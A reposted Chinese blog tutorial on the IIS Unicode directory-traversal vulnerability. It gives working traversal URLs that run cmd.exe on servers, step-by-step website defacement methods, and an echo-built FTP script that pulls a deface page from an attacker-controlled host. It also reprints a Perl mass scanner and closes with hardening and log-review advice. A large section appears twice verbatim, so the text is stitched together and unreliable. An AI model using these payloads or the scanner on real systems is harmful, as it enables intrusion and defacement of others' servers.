[第16天]IIS UNICODE 编码漏洞
生活随笔
收集整理的這篇文章主要介紹了
[第16天]IIS UNICODE 编码漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
前2天一直在講網絡監聽,雖然我覺得很有必要,但好多人都發來消息說沒什么太多興趣。雖然還是很想講這個,但因為大家有意見,就不說。經過快半個月的學習,我想如果你很認真的在看的話的,我想你的基本功已經很好了.今天開始我會開始由一些詳細的***或其他的方法開始說了,有些地方我就不詳細說明了,如果有問題可以發貼來問
回到話題,unicode 漏洞是最容易讓***者得手的一個漏洞,可以不費吹灰之力將主頁改掉,重則刪除
硬盤上的數據,高手甚至獲取administrator 權限!
漏洞自大前年年10 月份公布至今,居然國內還有這么多的服務器存在著該漏洞
下面我從一般的***手法分析如何做相應的防護對策.
(一)unicode 漏洞的原理
有關漏洞的原理網上已經有很多相關的文章了,我不打算詳細說,還是簡單的來了解了解
好了!
實際上就是UNICODE 編碼存在BUG,在UNICODE 編碼中
%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
在NT4 中/編碼為%c1%9c .在英文版里:WIN2000 英文版%c0%af
該漏洞是利用擴展UNICODE 字符取代"/"和"\"而能利用"../"目錄遍歷,故在一臺有
unicode 漏洞的服務器ip 后邊加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可
以看到主機上c 盤的所有文件及目錄.
(二)unicode 漏洞的危害
未經授權的用戶可能利用IUSR_machinename 賬號的上下文空間訪問任何已知的文件。
該賬號在默認情況下屬于Everyone 和Users 組的成員,因此任何與Web 根目錄在同一邏輯
驅動器上的能被這些用戶組訪問的文件都能被刪除,修改或執行,就如同一個用戶成功登陸
所能完成的一樣。
以上部分內容摘自綠盟!
(三)unicode 漏洞的***手法
1、利用漏洞修改主頁
這可能是新手們最興奮的事情了!每當他們成功地黑掉一個網頁后都有一股極大的滿足
感.然而黑網頁也是最簡單的事情。
手段描述一:***者先用掃描工具掃到有漏洞的主機后,在IE 的地址欄里輸入http://主機
的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主機上c 盤的所有文件
了.要查主頁放在什么地方的話,可以將后邊的dir+c:\換成set ,從返回的錯誤信息中找到
PATH_TRANSLATED=c:\inetpub\wwwroot 這一句(具體的路徑根據具體的情況而定).其中的
c:\inetpub\wwwroot 就是主頁所在的地方!接著***者為了避免系統對特殊字符的檢測,故將
本地機器的CMD.EXE 程序復制到主機的c:\inetpub\scripts 目錄中,這樣干起活來就容易多了!
他們查到主頁的名字后,就可以利用echo 命令來寫入信息,將內容覆蓋掉主頁文件就把主頁
給黑了。
手段描述二:除了上面的土方法外,***者可以將有聲有色的黑頁替換主頁,這樣黑得不是
更爽嗎?來看看他們是如何做到的。
先在本地硬盤建立個共享文件夾(如gale),把黑頁復制進去。照樣把cmd.exe 拷貝到目標
的c:\inetpub\scripts 下,名字為gale.exe,映射本地的gale 目錄為目標的一個盤(如q:)
把q:里的復制到目標主機的網頁目錄去。覆蓋對方的網頁文件,最后斷開映射就可以了.
這是利用本地共享目錄和映射硬盤的方法替換黑頁,如果黑頁有背景又有音樂,文件很大,上
傳費事,怎么完美一點呢?請看下邊。
手段描述三:這種方法也是紅客們黑美國、日本的時候最常用的手法。
***者先申請一個免費空間,把做好的黑頁上傳上去,然后利用echo 命令在目標主機
上建立一個文本文件,寫上幾行命令,如下:
目標主機ip/scripts/gale.exe?/c+echo+open+你黑頁所在的免費空間ip>文本文件名.txt
目標主機ip/gale.exe?/c+echo+你在黑頁空間上的帳戶>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+密碼>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+bye>>文本文件名.txt
目標主機ip/gale.exe?/c+ftp+-s:文本文件名.txt
這樣***者就可以將黑頁從另外一個空間下載到目標主機上,copy 過去覆蓋就可以了。
這樣***者不受地方的限制,隨便什么地方了,比如網吧。
(四)unicode 漏洞的防護措施
說了那么多,現在該轉入正題了,下面我來說說防范的措施,這也是從***中總結出來
的一些措施,希望對大家有幫助。
1、打上最新補丁
作為一個網絡管理員,為了服務器的安全,需要不停的打上最新補丁,這是比較有效的
方法。但你要記住:在網絡上,沒有絕對的安全的,道高一尺,魔高一丈,完全相信防火墻和系
統補丁往往是很愚蠢的。
2、冷酷到底,拒人于千里之外
相信到現在還利用unicode 漏洞***的人都是些新手傻瓜們!他們沒有確定的***目標,
只是抓個掃描器來亂掃一通,掃到就黑,掃不到就哭的那種。對付掃描器掃出未知的漏洞,
這是管理員的聰明之處。如何躲過掃描器的眼睛呢?請先看看下面一個用perl 寫的掃描器代
碼吧:
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的請修改這樣的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{
回到話題,unicode 漏洞是最容易讓***者得手的一個漏洞,可以不費吹灰之力將主頁改掉,重則刪除
硬盤上的數據,高手甚至獲取administrator 權限!
漏洞自大前年年10 月份公布至今,居然國內還有這么多的服務器存在著該漏洞
下面我從一般的***手法分析如何做相應的防護對策.
(一)unicode 漏洞的原理
有關漏洞的原理網上已經有很多相關的文章了,我不打算詳細說,還是簡單的來了解了解
好了!
實際上就是UNICODE 編碼存在BUG,在UNICODE 編碼中
%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
在NT4 中/編碼為%c1%9c .在英文版里:WIN2000 英文版%c0%af
該漏洞是利用擴展UNICODE 字符取代"/"和"\"而能利用"../"目錄遍歷,故在一臺有
unicode 漏洞的服務器ip 后邊加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可
以看到主機上c 盤的所有文件及目錄.
(二)unicode 漏洞的危害
未經授權的用戶可能利用IUSR_machinename 賬號的上下文空間訪問任何已知的文件。
該賬號在默認情況下屬于Everyone 和Users 組的成員,因此任何與Web 根目錄在同一邏輯
驅動器上的能被這些用戶組訪問的文件都能被刪除,修改或執行,就如同一個用戶成功登陸
所能完成的一樣。
以上部分內容摘自綠盟!
(三)unicode 漏洞的***手法
1、利用漏洞修改主頁
這可能是新手們最興奮的事情了!每當他們成功地黑掉一個網頁后都有一股極大的滿足
感.然而黑網頁也是最簡單的事情。
手段描述一:***者先用掃描工具掃到有漏洞的主機后,在IE 的地址欄里輸入http://主機
的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主機上c 盤的所有文件
了.要查主頁放在什么地方的話,可以將后邊的dir+c:\換成set ,從返回的錯誤信息中找到
PATH_TRANSLATED=c:\inetpub\wwwroot 這一句(具體的路徑根據具體的情況而定).其中的
c:\inetpub\wwwroot 就是主頁所在的地方!接著***者為了避免系統對特殊字符的檢測,故將
本地機器的CMD.EXE 程序復制到主機的c:\inetpub\scripts 目錄中,這樣干起活來就容易多了!
他們查到主頁的名字后,就可以利用echo 命令來寫入信息,將內容覆蓋掉主頁文件就把主頁
給黑了。
手段描述二:除了上面的土方法外,***者可以將有聲有色的黑頁替換主頁,這樣黑得不是
更爽嗎?來看看他們是如何做到的。
先在本地硬盤建立個共享文件夾(如gale),把黑頁復制進去。照樣把cmd.exe 拷貝到目標
的c:\inetpub\scripts 下,名字為gale.exe,映射本地的gale 目錄為目標的一個盤(如q:)
把q:里的復制到目標主機的網頁目錄去。覆蓋對方的網頁文件,最后斷開映射就可以了.
這是利用本地共享目錄和映射硬盤的方法替換黑頁,如果黑頁有背景又有音樂,文件很大,上
傳費事,怎么完美一點呢?請看下邊。
手段描述三:這種方法也是紅客們黑美國、日本的時候最常用的手法。
***者先申請一個免費空間,把做好的黑頁上傳上去,然后利用echo 命令在目標主機
上建立一個文本文件,寫上幾行命令,如下:
目標主機ip/scripts/gale.exe?/c+echo+open+你黑頁所在的免費空間ip>文本文件名.txt
目標主機ip/gale.exe?/c+echo+你在黑頁空間上的帳戶>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+密碼>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+bye>>文本文件名.txt
目標主機ip/gale.exe?/c+ftp+-s:文本文件名.txt
這樣***者就可以將黑頁從另外一個空間下載到目標主機上,copy 過去覆蓋就可以了。
這樣***者不受地方的限制,隨便什么地方了,比如網吧。
(四)unicode 漏洞的防護措施
說了那么多,現在該轉入正題了,下面我來說說防范的措施,這也是從***中總結出來
的一些措施,希望對大家有幫助。
1、打上最新補丁
作為一個網絡管理員,為了服務器的安全,需要不停的打上最新補丁,這是比較有效的
方法。但你要記住:在網絡上,沒有絕對的安全的,道高一尺,魔高一丈,完全相信防火墻和系
統補丁往往是很愚蠢的。
2、冷酷到底,拒人于千里之外
相信到現在還利用unicode 漏洞***的人都是些新手傻瓜們!他們沒有確定的***目標,
只是抓個掃描器來亂掃一通,掃到就黑,掃不到就哭的那種。對付掃描器掃出未知的漏洞,
這是管理員的聰明之處。如何躲過掃描器的眼睛呢?請先看看下面一個用perl 寫的掃描器代
碼吧:
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的請修改這樣的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{
| ? $host[$a] = $_; chomp $host[$a]; $a++; $b++; } close(IN); $a = 0; print "ph34r, scan started"; while ($a < $b) { my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ "; my $request = new HTTP::Request('GET', $url); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>scaniis.log"); print OUT "\n$host[$a] : $response->content"; -close OUT; } else { print $response->error_as_HTML; } &second() } sub second() { my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ "; my $request = new HTTP::Request('GET', $url2); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>scaniis.log"); print OUT "\n$host[$a] : $response->content"; -close OUT; } else { print $response->error_as_HTML; } $a++; } 代碼摘自綠盟。 不知道大家注意到上面長長的兩行$url 和$url2 了沒有,其實只是簡單的字符串處理而 已。于是有以下幾種方法避過掃描器的掃描: ①更改winnt 目錄名 安裝winnt 或者win2000 時,缺省目錄是c:\winnt.可以把這個目錄名改成別的目錄名, 這樣掃描器遞交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"類似的 url 時就會返回"找不到該頁"的信息。這樣大部分掃描器就成失靈了。(不知道小榕的流光能 不能躲得過,但大部分的用perl 寫的掃描器經這樣改了之后都不起作用了)。 安裝前就可以這樣,但是已經安裝了,確實不想改winnt/2000 的目錄怎么辦呢?那好,可以 看看下邊的: ②更改cmd.exe 和各常用命令的名稱 更改cmd.exe 的名稱也可以達到同樣的效果,而且更加可*,假如你只更改winnt/win2000 所在的目錄名的話,別人猜對后仍然可以黑掉你。同時把一些不常用的而且有危害的命令改 成只有你知道的名字,①和②結合的話更完美! ③改變web 目錄位置 通常主頁所在的位置是在C:\InetPub\wwwroot 里。在c:\inetpub 里有scripts 之類的目錄。 如果你不需要他們的話,你可以把web 目錄轉移到別的分區,比如e:\netroot 然后把C:\inetpub 整個刪除掉.日本有一臺主機就做的比較好,它的機器明明存在有unicode 漏洞,但將web 目錄 轉移到d 盤,并且d 盤是不可寫的,有位新手在QQ 上向我抱怨說:"老大!你說的方法不行呀, 我黑不了!嗚嗚嗚~~",哈!象這樣,一般的人就難以修改主頁了,(注意:這只能防止一般的人,高 手只要動動腦筋,照樣能黑掉!). ④停止不必要的服務 在internet 服務器中,為了系統的安全,您必須停掉所有的缺省web 目錄的服務。然后統統 刪掉,只保留你所要的,以免招來后患. ⑤改變服務的端口號 在保證不影響訪問率的情況下,我們可以把web 服務的端口由80 改成別的,比如108。 因為很多還是利用unicode 漏洞***的人一般都是新手,他們都是拿一個掃描工具掃一個ip 段的,這樣做就可以躲避那種掃描一段網段的***者的掃描了。(注意:此方法只能防止這種方 式的掃描,別有用心的***者照樣可以通過修改掃描器的插件來實行掃描的.但受***的可能 性已經減低.) 3、限制iusr_server 的權限 上面所說的措施是把***者拒絕于門外,如果真的很不幸,給***者找到門上來了,那 不是死定了?不一定!***者利用UNICODE 漏洞遍歷目錄時的用戶權限是決定于 iusr_server 的權限的,而通常iusr_server 是屬于guest 組的。我們只要進一步限制iusr_server 的權限還有可能挽回(對于高手們就不一定這么說了)。 建議如下:采用NTFS 格式的文件系統,將web 目錄外所有的訪問權限設置為:用戶 iusr_server 不可訪問!注意:不要給iusr_server 對web 目錄有寫權限!理由是什么大家都很 清楚!你的主頁就是給這樣的家伙給黑的,如果他沒有寫的權限,就象那臺日本的主機一樣, 一般的新手們就難以下手了。(但是,那些確實是非寫不可的地方,如:聊天室或論壇,是 可以適當放開的)。 4、偷吃成功,尋找蛛絲馬跡 這就是分析訪問日志,一名合格的管理員,應該有經常查看日志的好習慣.日志是非常的 多的,看起來很麻煩,但對于unicode 漏洞的***,只要查看分析web 服務的訪問日志就可以 了。掃描器的掃描和已經***完了的動作都會被記錄下來,要注意特別留意出現的"cmd.exe" 字眼。
|
轉載于:https://blog.51cto.com/userli/68775
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的[第16天]IIS UNICODE 编码漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ASP.NET 2.0 XML 系列(2
- 下一篇: 愚人节不放假